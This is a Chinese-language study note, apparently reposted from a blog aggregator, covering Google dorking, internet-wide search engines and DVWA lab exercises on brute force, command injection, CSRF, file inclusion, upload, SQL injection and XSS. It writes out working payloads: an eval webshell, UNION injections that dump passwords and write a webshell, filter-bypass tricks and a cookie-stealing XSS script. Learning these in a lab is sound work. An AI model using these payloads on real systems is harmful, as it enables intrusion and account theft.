Google Hack技術(shù)是指使用Google等搜索引擎對某些特定的網(wǎng)絡(luò)主機(jī)漏洞(通常是服務(wù)器上的腳本漏洞)進(jìn)行搜索,以達(dá)到快速找到漏洞主機(jī)或特定主機(jī)的漏洞的目的。

想搜索目標(biāo)站點的頁面用到 site:搜索特定的站點信息(site:目標(biāo)站點)

想找到目標(biāo)站點登陸地址并暴力破解密碼用到 inurl:搜索URL中包含有指定字符串的網(wǎng)址(inurl:網(wǎng)站(login|admin)

intitle:搜索網(wǎng)頁標(biāo)題中包含指定的字符串的網(wǎng)址

intext:搜索站點頁面內(nèi)容中具有關(guān)鍵字內(nèi)容的網(wǎng)址(各種語法可以混合使用)

想查看目標(biāo)站點有沒泄露的數(shù)據(jù)庫文件 filetype:搜索出特定后綴名的文件(site:testphp.vulnweb.com filetype:sql)

Bing上還提供同IP站點查詢功能(旁站)(ip:xxx.xxx.xxx.xxx)

info:“url”(Google) 命令可以返回站點的基本介紹

site:“url” inurl:phpinfo.php 查看是否泄露phpinfo.php文件

site:“url” inurl:php? 查找數(shù)據(jù)庫交互頁面,針對所示頁面可進(jìn)行SQL注入的檢測

site:“url” filetype:log 查找站點泄露的日志文件

cache:“url” 可查看目標(biāo)站點之前的緩存,即使目標(biāo)站點關(guān)閉

網(wǎng)絡(luò)空間搜索

工具:SHODAN(撒旦 國外)、ZoomEye(鐘馗之眼 國內(nèi))、FOFA(佛法 國內(nèi))

ZoomEye為例:

app:組件名 ver:組件版本 搜索類型為WEB時出現(xiàn)的是具體站點

app:IIS //搜索IIS服務(wù)器信息,若為web應(yīng)用,搜索出的是站點;

port:21 //查看開放21端口的目標(biāo)服務(wù)器。

基本原理:探測/爬取IP段和站點 --> (對目標(biāo)站點)識別/打標(biāo)簽 --> (將識別后的信息)存儲供檢索

在線Web工具

對目標(biāo)站點的基本信息探測:

1)whatweb.net:包括站點的IP地址、服務(wù)器、CMS版本、腳本庫等

2)www.ipip.net:用來查詢IP詳情,還展示其他IP查詢站點的數(shù)據(jù)

3)www.cmd5.com:用來查詢多種加解密算法

4)tool.chinaz.com(站長工具):提供多種小工具

5)安全圈info:提供各種的web工具網(wǎng)站等

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-SdE2FYVC-1679106191748)(C:\Users\11373\Desktop\學(xué)習(xí)!!!\第三課知識點梳理-腦圖\第三課-Web安全工具章節(jié)結(jié)構(gòu).png)]

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-eLmqyPYF-1679106191749)(C:\Users\11373\Desktop\學(xué)習(xí)!!!\第三課知識點梳理-腦圖\第三課 Web安全工具知識點梳理.png)]

04 WEB安全實戰(zhàn)

主要圍繞DVWA滲透測試平臺。幾乎涵蓋了所有熱門漏洞(暴力破解、命令注入、CSRF、文件操作、SQL注入、XSS)

學(xué)習(xí)中會遇到各種各樣的服務(wù)器(Windows,Linux,python);各種各樣的網(wǎng)站(asp,aspx,jsp,php,python);各種各樣的工具;各種各樣的代碼(只需要關(guān)注漏洞代碼本身,不需要全部弄懂);重要的是思路

1)驗證是否存在SQL注入方法:

手工驗證:admin’ ;admin’ and’1’=‘1;admin’ and’1’='2

2)如何利用SQL注入跑出管理員密碼?

(1)使用工具:設(shè)置瀏覽器代理–>抓包–>SQLmap自動跑–>獲得數(shù)據(jù)庫名,表名,含管理員密碼的字段–>讀取管理員密碼

(2)不依賴工具純手工

DVWA部署

DVWA(Damn Vulnerable Web Application)是以php編寫的web滲透測試環(huán)境。

1)以Firefox瀏覽器為例:

Tamper Data:是一款抓HTTP/HTTPS的插件,具備截包、看包、改包、發(fā)包,可插入自己的攻擊代碼,方便對網(wǎng)站進(jìn)行安全測試

瀏覽器與PHP交互的過程:

瀏覽器–>找到頁面–>Hello.php–>服務(wù)器找到文件位置處理PHP<–>與數(shù)據(jù)庫進(jìn)行交互–>返回給瀏覽器HTML頁面

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Z9voQtPA-1679106191750)(C:\Users\11373\Pictures\PT~AN8GO_[62{@S@23H`@[1.png)]

DVWA

包含了很多安全漏洞程序,如暴力破解(Brute Force Attack)、命令注入(OS COMMAND INJECTION)、跨站請求偽造(Cross Site Request Forgert)、文件包含漏洞(FILE INCLUSION)、文件上傳漏洞(FILE UPLOADS)、SQL注入(SQL Injection)、跨站腳本攻擊(CROSS SITE SCRIPTING Attacks)。

暴力破解

暴力≈窮舉法 ;破解≈可破解任何有規(guī)律的信息

OWASP ZAP(新工具):截取并處理網(wǎng)絡(luò)端口的數(shù)據(jù)包,可將破解過程自動化。

可通過響應(yīng)包大小確定破解結(jié)果。

當(dāng)網(wǎng)站安全等級為高級時,簡單的暴力破解失效。觀察響應(yīng)包發(fā)現(xiàn)每次都會出現(xiàn)上一次數(shù)據(jù)的usertoken。需要重新設(shè)計破解動作。

破解動作:訪問首頁——獲得usertoken參數(shù)——發(fā)送呆usertoken的登錄數(shù)據(jù)包

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-6nTc3XZz-1679106191750)(C:\Users\11373\Pictures\QQ圖片20191031213643.png)]

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-sQXfu2BR-1679106191751)(C:\Users\11373\Pictures\QQ圖片20191031213653.png)]

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-jGZKGGrc-1679106191751)(C:\Users\11373\Pictures\QQ圖片20191031213657.png)]

以上是各過程對應(yīng)的python腳本

對于高等級防護(hù),自己運行腳前需要修改自己的本地IP地址和自己登錄的PHPSESSID!

可通過驗證碼來防止暴力破解。

命令注入

命令=操作系統(tǒng)的命令;注入=通過web程序在服務(wù)器上拼接系統(tǒng)命令

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-lzDf32uN-1679106191752)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101110317184.png)]

命令注入流程:(重點)

(1)由輸入127.0.0.1后出現(xiàn)的頁面判斷調(diào)用了Windows的ping命令。

PING(Packet Internet Groper) , 因特網(wǎng)包探索器,用于測試網(wǎng)絡(luò)連接量的程序。Ping是工作在 TCP/IP網(wǎng)絡(luò)體系結(jié)構(gòu)中應(yīng)用層的一個服務(wù)命令,主要是向特定的目的主機(jī)發(fā)送 ICMP(Iternet Control Message Protocol 因特網(wǎng)報文控制協(xié)議)Echo 請求報文,測試目的站是否可達(dá)及了解其有關(guān)狀態(tài)。(百度百科)

**(2)**ping (固定字段:ping+空格)127.0.0.1(可控字段:任意)

**(3)ping 127.0.0.1&&**net uesr(判斷&&拼接符號可以使用)

注:Windows下鏈接兩條命令用&&;若&&被過濾,&也可以連接命令,|也可連接兩命令。

修復(fù)命令注入漏洞通常使用白名單,例如DVWA安全模式為impossible

命令拼接符號的區(qū)別(&,&&,|,||)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-FxRosutX-1679106191752)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101114032660.png)]

low等級&&可通過;medium等級&可通過;high等級|可通過。

如果過濾了敏感命令怎么辦?

Windows中可以用**"“來繞過,例如:whoami–>who"“ami–>who”“am”"i Linux中不僅支持”"也支持’'**

如果不顯示輸出結(jié)果怎么辦?

(1)延時注入。通過響應(yīng)時間來判斷(2)遠(yuǎn)程請求。前端不響應(yīng)但在web服務(wù)端能夠查到請求(3)DNS查詢

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-7p58PYlO-1679106191753)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101115847510.png)]

CSRF實戰(zhàn)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-HpQZwwfa-1679106191754)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101125500626.png)]

受害者角度:用戶在當(dāng)前已登陸的Web應(yīng)用程序上執(zhí)行非本意的操作

攻擊者角度:攻擊者欺騙瀏覽器,讓其以受害者的名義執(zhí)行自己想要的操作

low等級可以直接使用tamper data修改密碼數(shù)據(jù);medium等級中使用low方法失效,通過對比成功與失敗的數(shù)據(jù)包,發(fā)現(xiàn)referer不同,通過修改達(dá)到改密目的,referer只要包含host就能繞過限制

攻擊者思路:構(gòu)造HTML,構(gòu)造鏈接,誘騙受害者點擊,受害者點擊,攻擊者登錄

<html>
  <body>
  	<form action="http://192.168.2.106/DVWA-1.9/vulnerabilities/csrf/">
  	  <input type="hidden" name="password_new" value="hacker" />
  	  <input type="hidden" name="password_conf" value="hacker" />
  	  <input type="hidden" name="Change" value="Change" />
  	  <input type="submit" value="Click Me" />
  	</form>
  </body>
</html>

以上是攻克low等級的html腳本。稍加修改并保存到以host為名的文件夾中,在瀏覽器中打開能夠攻克medium等級。

調(diào)整至high等級,修改密碼成功的url中多了user_token,同暴力破解相同,每改一次會變換一次代碼,代碼來自上一個響應(yīng)包。需要結(jié)合XSS漏洞獲取頁面中的user_token參數(shù)。

CSRF Token :這種隨機(jī)參數(shù)統(tǒng)稱為csrf token,它保證了攻擊者無法猜測到所有參數(shù)

為何暴力破解可以突破CSRF Token?

因為構(gòu)造HTTP請求的人不一樣:暴力破解的攻擊者是當(dāng)前用戶,受害者是其他用戶;CSRF的攻擊者是其他用戶,受害者是當(dāng)前用戶。

在impossible等級中修改密碼需要輸入原始密碼,有效地防止了CSRF。

對于CSRF的修復(fù)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-d9UoAgNS-1679106191755)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101162527395.png)]

HTTP Referer:

HTTP Referer是header的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)送請求的時候,一般會帶上Referer,告訴服務(wù)器該網(wǎng)頁是從哪個頁面鏈接過來的,服務(wù)器因此可以獲得一些信息用于處理。

文件包含漏洞

文件包含:一種代碼處理方法,函數(shù)如include、require等,參數(shù)是文件名。

漏洞:文件名參數(shù)用戶可控且過濾不嚴(yán),被攻擊者偷梁換柱

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-TTcRLlpB-1679106191755)(C:\Users\11373\Pictures\QQ圖片20191101165437.png)]

通過觀察url,修改并觀察是否掃描文件,若掃描文件就可以利用

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-xIE5xmKR-1679106191756)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101170511865.png)]

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-8YJgrBWN-1679106191756)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101170647967.png)]

要訪問以上內(nèi)容,需要通過…/返回上一級目錄兩次,然后訪問指定文件。

要驗證是否能夠執(zhí)行遠(yuǎn)程文件。

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-QDjlGhim-1679106191757)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101171448280.png)]

在A服務(wù)器上上傳得到webshell文件后在B服務(wù)器執(zhí)行該文件。

low等級的url在medium等級不適用。通過觀察返回信息用排除法證明,…/被服務(wù)器過濾掉?!璡也可以返回上一級目錄。判斷遠(yuǎn)程文件執(zhí)行的代碼也被過濾掉了某些字符。

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-CDYGS7ya-1679106191762)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101172300374.png)]

排除法,知道了網(wǎng)站只過濾http://一個完整結(jié)構(gòu),分開并不過濾,因此使用上圖方法處理成功。

本地文件的讀取還可以使用**file://**協(xié)議,文件傳輸協(xié)議,訪問本地計算機(jī)中的文件

遠(yuǎn)程文件文件的讀取在high中只支持file本地文件讀取,需要結(jié)合文件上傳漏洞來完成讀取。

文件上傳漏洞

Web允許用戶上傳惡意代碼文件,并在服務(wù)器上運行

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-vtf851tt-1679106191763)(C:\Users\11373\Pictures\QQ圖片20191106191250.png)]

一句話web shell(cmd.php)

<?php
@eval($_GET['cmd'])
?> 			//可調(diào)用cmd中的系統(tǒng)命令

上傳失敗后可通過ZAP抓包來判斷失敗原因 。主要的方法還是不斷地嘗試。

medium等級通過ZAP修改文件類型就可以上傳成功

high等級嘗試多種方式后均失敗,采用**制作“內(nèi)涵圖”**的方式。

將文本文件與圖片結(jié)合達(dá)到上傳代碼的目的。cmd中輸入 copy 1.jpg/b+1.txt/a 2.jpg

用編輯器打開新圖片,發(fā)現(xiàn)php代碼在最后。

還可以借助web容器解析漏洞,例如nginx解析洞。**畸形解析:**xxx.xxx/xxx.php只要前一個文件存在,就會當(dāng)成后一個文件解析

注:在cmd中,圖片屬于二進(jìn)制文件,需要在其后面加上/b;文本文件加上/a。

在impossible中,上傳的圖片被服務(wù)器重新生成了正常的圖片。

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-RIzpxjnC-1679106191763)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106204628717.png)]

阻止非法文件上傳已經(jīng)能夠阻止絕大多數(shù)的文件上傳漏洞!

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-PMqZE3Ax-1679106191764)(C:\Users\11373\Pictures\QQ圖片20191106204743.png)]

阻止非法文件執(zhí)行也可以有效的防止漏洞!

SQL回顯注入

命令注入是注入的系統(tǒng)命令,而SQL注入是注入的SQL語句。

SQL回顯注入是把數(shù)據(jù)庫的執(zhí)行結(jié)果直接顯示到頁面上

探測是否存在漏洞:輸入1’,若存在sql注入漏洞,那么系統(tǒng)會報錯并將錯誤信息展示出來(錯誤回顯)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-ZpQxCaZm-1679106191764)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106205806614.png)]

1024=1024是真,再加上or,這個語句為真。我們需要寫的poc語句是

1 or 1024=1024

1' or '1024'='1024

1" or "1024"="1024

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Uhw3e3Zj-1679106191764)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106210200940.png)]

查詢數(shù)據(jù)庫過程(重要):
1. 確定查詢字段數(shù)

1)輸入1’ order by 1-- ,返回正常說明字段數(shù)≥1(注意-- 后面的空格

2)輸入1’ order by X-- ,報錯,說明字段數(shù)≤X,X為猜測值

3)繼續(xù)猜測我們可以用二分法,10與1之間取5,5和1取3等。

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-PFPMURui-1679106191765)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107191955419.png)]

2. 確定回顯點

要用到 union select命令。

id=xx' union select 1,2

3. 查詢數(shù)據(jù)庫信息 例如
id=xx' union select @@version,@@datadir  //查詢數(shù)據(jù)庫版本和文件目錄

4. 查詢用戶名和數(shù)據(jù)庫名
id=xx' union select user(),database()

5. 查詢表名(數(shù)據(jù)庫名dvwa)
id=xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'

注:查詢數(shù)據(jù)表名要用到information_schema.tables?。?/p>

6. 查詢列名(字段名)(表名dvwa.users)
id=xx' union select 1,column_name from information_schema.columns where table_name='users'

注:查詢列名要用到information_schema.columns??!

7. 查詢用戶名和密碼
id=xx' union select user,password from users //表名

8. 文件讀取

要用到**lode_file()**函數(shù)

id=xx' union select load_file("文件路徑")

9. 寫Web shell

php一句話木馬

<?php
@eval($_GET['cmd'])l;
?>		//用來執(zhí)行cmd系統(tǒng)命令

如何寫入?

可故意構(gòu)造錯誤的SQL語句,讓web服務(wù)器爆出web根目錄。 用到select …into outfile …

id=xx' union select "<?php @eval($_GET['cmd'])l;?>","webshell" into outfile "web根目錄"	//黑客是不會明顯的寫入web shell的

SQL注入自動化:sqlmap。
1. 攻擊參數(shù) -u 用來指定url,-p 用來指定id參數(shù), –cookie用來指定cookie參數(shù)phpsessid

輸入-u"" -p"" --cookie""后的執(zhí)行結(jié)果:

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-ADMMw8Lm-1679106191765)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107201433029.png)]

2. 獲取當(dāng)前用戶和數(shù)據(jù)庫名(–current-user --current-db

用到**–current-user --current-db**

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-NN5M8l4O-1679106191766)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107201725201.png)]

3.查詢表名–tables、字段名–columns

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-en1m22Sm-1679106191766)(C:\Users\11373\Pictures\QQ圖片20191107201944.png)]

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-2LbjdXKg-1679106191766)(C:\Users\11373\Pictures\QQ圖片20191107202050.png)]

4.查詢用戶名密碼 --dump(重要)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-SwwfadlW-1679106191767)(C:\Users\11373\Pictures\QQ圖片20191107202221.png)]

sqlmap支持自動破解md5,可將哈希值自動破解。

5.上傳Web shell --os-shell

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-X3XNHIUT-1679106191767)(C:\Users\11373\Pictures\QQ圖片20191107202412.png)]

然后再指定物理路徑,就可以成功執(zhí)行系統(tǒng)命令,例如dir。

在medium等級中,ID不能手動輸入,可以通過Tamper Data手動提交post、確定POC來完成注入。

注:SQL注入中,遇到轉(zhuǎn)義字符串的單引號‘雙引號”會被轉(zhuǎn)義,通過將其HEX編碼來執(zhí)行

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-ElOUF5FW-1679106191767)(C:\Users\11373\Pictures\QQ圖片20191107203019.png)]

medium等級中,通過post提交的數(shù)據(jù)在**–data**中而不是-u

high等級中,手工注入與low相同,在sqlmap自動注入時不同。注入的點返回的點不在同一個頁面,需要用到**–second-order命令來指定返回的頁面**

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-uIMV2poV-1679106191767)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107203823437.png)]

在impossible等級中,查看源代碼發(fā)現(xiàn)檢測了id數(shù)據(jù)類型,使用了預(yù)編譯綁定id變量有效地防止了SQL注入

修復(fù)SQL注入漏洞最普遍的方式是參數(shù)化SQL語句,除了預(yù)編譯還可以使用存儲過程。通過用戶輸入進(jìn)行過濾,使用白名單過濾

SQL盲注

盲注不會顯示SQL注入的結(jié)果

涉及的命令:
(1)獲取字符串長度length(str),通過二分法確定長度。
(2)獲取字符串中單個字符串substr(expression,start,length)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Yd3lze9o-1679106191768)(C:\Users\11373\Pictures\AZNY[RHO9WYX4O6{9$%W5GN.png)]

select substr('test',2,3);  //獲取test的后三個字符

(3)獲取第一個字符的ASCII數(shù)值(字符串) ascii(string)
select ascii('test');

注:單字符的ASCII碼范圍:0-127,查詢ascii碼也用二分法,逐個確認(rèn)。

SQL盲注分為布爾型(上)和延時型(下)

用到的函數(shù):

(1)if(expr1,expr2,expr3) 如果expr1為真,返回expr2,否則返回expr3
select if(1,'true','false');

(2)延時休眠函數(shù)sleep(N) 休眠(N秒)
select sleep(3);

(3)**benchmark(count,expr)**重復(fù)執(zhí)行一個方法多少次

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-CpgqoyjG-1679106191768)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110121156304.png)]

select benchmark(50000000000,md5('test'));

利用sqlmap自動化執(zhí)行,–current-db -v 1-6 (-v表示輸出詳細(xì)信息 1表示最少,6表示最多)

(1)cast(expression as data_type)將十六進(jìn)制轉(zhuǎn)化為字符串

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-b4GIOfPP-1679106191768)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110122554818.png)]

(2)ifnull(expr1,expr2)如果expr1是null,返回expr2,否則返回本身

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-c5V686xW-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110122723724.png)]

selecct ifnull('test',null)

(3)mid(expression,start,length) 類似于substr,用來獲取子字符串

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-76PAHrYW-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110123209238.png)]

(4)ord(string) 類似于ascii函數(shù)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-HMopNug0-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110123324986.png)]

在high等級中,發(fā)現(xiàn)id在cookie參數(shù)中。

XSS

本質(zhì)上是客戶端代碼注入,通常注入代碼是JavaScript,區(qū)別于命令注入、sql注入等服務(wù)端代碼注入

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-WzBDsLTm-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110124553653.png)]

反射型

通過注入尖括號腳本來檢查是否存在漏洞

js彈窗函數(shù):alert() ,confirm() ,prompt() 根據(jù)服務(wù)器的過濾情況選擇函數(shù)

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-AgwBqVlQ-1679106191770)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110125606800.png)]

攻擊者可以以用戶身份進(jìn)行任意的操作。

1.獲取用戶cookie生成txt文件的php代碼:

<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie,txt',$cookie);
?>

2.攻擊js腳本

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script> //訪問參數(shù)中的地址,將cookie復(fù)制進(jìn)url

3.已知name參數(shù)存在xss,構(gòu)造攻擊url,還需要將js腳本進(jìn)行url編碼(hackbar)

http://10.240.138.212/DVWA-1.9/vulnerabilitira/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

4.劫持會話,將獲得的cookie在攔截頁面中修改cookie,成功已a(bǔ)dmin身份進(jìn)入文章來源地址http://www.zghlxwxcb.cn/news/detail-727075.html

到了這里,關(guān)于學(xué)習(xí)web入門知識匯總的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • 【網(wǎng)絡(luò)安全入門】學(xué)習(xí)網(wǎng)絡(luò)安全必須知道的100 個網(wǎng)絡(luò)基礎(chǔ)知識

    【網(wǎng)絡(luò)安全入門】學(xué)習(xí)網(wǎng)絡(luò)安全必須知道的100 個網(wǎng)絡(luò)基礎(chǔ)知識

    什么是鏈接? 鏈接是指兩個設(shè)備之間的連接。它包括用于一個設(shè)備能夠與另一個設(shè)備通信的電纜類型和協(xié)議。 2 OSI 參考模型的層次是什么? 有 7 個 OSI 層:物理層,數(shù)據(jù)鏈路層,網(wǎng)絡(luò)層,傳輸層,會話層,表示層和應(yīng)用層。 3 什么是骨干網(wǎng)? 骨干網(wǎng)絡(luò)是集中的基礎(chǔ)設(shè)施,旨在將

    2024年02月08日
    瀏覽(30)
  • 【ESP8266教程】零基礎(chǔ)入門學(xué)用物聯(lián)網(wǎng)-基礎(chǔ)知識篇(太極創(chuàng)客團(tuán)隊)學(xué)習(xí)筆記

    【ESP8266教程】零基礎(chǔ)入門學(xué)用物聯(lián)網(wǎng)-基礎(chǔ)知識篇(太極創(chuàng)客團(tuán)隊)學(xué)習(xí)筆記

    提示:這里可以添加本文要記錄的大概內(nèi)容: 例如:隨著人工智能的不斷發(fā)展,機(jī)器學(xué)習(xí)這門技術(shù)也越來越重要,很多人都開啟了學(xué)習(xí)機(jī)器學(xué)習(xí),本文就介紹了機(jī)器學(xué)習(xí)的基礎(chǔ)內(nèi)容。 提示:以下是本篇文章正文內(nèi)容,下面案例可供參考 ????????NodeMCU上的D2引腳引出ESP82

    2024年04月29日
    瀏覽(70)
  • 分布式魯棒優(yōu)化基礎(chǔ)知識學(xué)習(xí) | Ref:《魯棒優(yōu)化入門》「運籌OR帷幄」

    分布式魯棒優(yōu)化基礎(chǔ)知識學(xué)習(xí) | Ref:《魯棒優(yōu)化入門》「運籌OR帷幄」

    魯棒:考慮最壞情況; 分布:最壞情況的主體是環(huán)境參數(shù)的分布變量。 從數(shù)學(xué)角度說,分布式魯棒優(yōu)化囊括隨機(jī)規(guī)劃和傳統(tǒng)魯棒優(yōu)化兩種形式。 當(dāng)分布式魯棒優(yōu)化下,環(huán)境變量的分布函數(shù)獲知時,分布魯棒優(yōu)化退化為隨機(jī)優(yōu)化;僅知其不確定集時,退化為經(jīng)典魯棒優(yōu)化。

    2024年02月08日
    瀏覽(34)
  • Opengl入門基礎(chǔ)-基礎(chǔ)知識

    通過之前的教程,我們已經(jīng)擁有了開發(fā)環(huán)境,但是在真正開發(fā)程序之前,我們首先了解下Opengl的基本概念。 Opengl是什么? 通常網(wǎng)上會說Opengl是一種規(guī)范,一種接口,但是這種說法有點抽象,我們不妨先看看下面這個簡單的gl流程 代碼中可能有人對GLFW_OPENGL_PROFILE這類參數(shù)感到

    2024年02月11日
    瀏覽(21)
  • 快速上手MATLAB:科研、工程、數(shù)據(jù)分析,MATLAB入門(上)教你基礎(chǔ)知識!+分享MATLAB完全學(xué)習(xí)手冊資料(視頻+課件+代碼

    快速上手MATLAB:科研、工程、數(shù)據(jù)分析,MATLAB入門(上)教你基礎(chǔ)知識!+分享MATLAB完全學(xué)習(xí)手冊資料(視頻+課件+代碼

    1、《MATLAB完全學(xué)習(xí)手冊(視頻+課件+代碼)》 2、《MATLAB入門》 3、《詳解MATLAB在科學(xué)計算中的應(yīng)用》 4、《案例二 MATLAB與Excel交互》 5、《MATLAB初學(xué)者教程 MATLAB編程-菜鳥入門(清晰版)》 6、《MATLAB常用函數(shù)參考 MATLAB函數(shù)匯總 精通MATLAB》 7、等等。。。。 編程語言基礎(chǔ):M

    2024年02月06日
    瀏覽(85)
  • Java基礎(chǔ)入門知識

    以下是學(xué)習(xí)java必備的知識 目錄 前言 一、Java入門 二、基本數(shù)據(jù)類型與數(shù)組 標(biāo)識符與 2. 基本數(shù)據(jù)類型 3. 類型轉(zhuǎn)換運算 4. 運算符 5. 數(shù)組 6.控制結(jié)構(gòu)(與c使用一致) 總結(jié) Java語言是面向?qū)ο缶幊陶Z言,編寫的軟件與平臺無關(guān)。具有語法簡單、面向?qū)ο?、穩(wěn)定、與平臺無

    2024年02月16日
    瀏覽(93)
  • Java入門基礎(chǔ)知識

    Java入門基礎(chǔ)知識

    JDK是Java工具開發(fā)包,包含了JVM(程序運行環(huán)境),核心類庫(直接應(yīng)用即可),開發(fā)工具(Javac,java,jdb,jhat…) JRE是Java運行環(huán)境,包含了JVM,核心類庫,運行工具 JDK包含了JRE,JRE包含了jvm 全部小寫(有特定含義的英文字符) class 表示一個類 整數(shù)類型 小數(shù)類型 字符串類型 :只用\\\"雙引

    2024年02月09日
    瀏覽(92)
  • QT入門基礎(chǔ)知識

    QT入門基礎(chǔ)知識

    什么是QT QT是一個跨平臺的C++圖像用戶界面應(yīng)用程序框架 QT在1991年由奇趣科技開發(fā) QT的優(yōu)點 跨平臺,幾乎支持所有平臺 接口簡單,容易上手 一定程度上簡化了內(nèi)存回收機(jī)制 有很好的社區(qū)氛圍 可以進(jìn)行嵌入式開發(fā) QT注意事項 命名規(guī)范 類名 首字母大寫,單詞和單詞之間首字母

    2024年02月10日
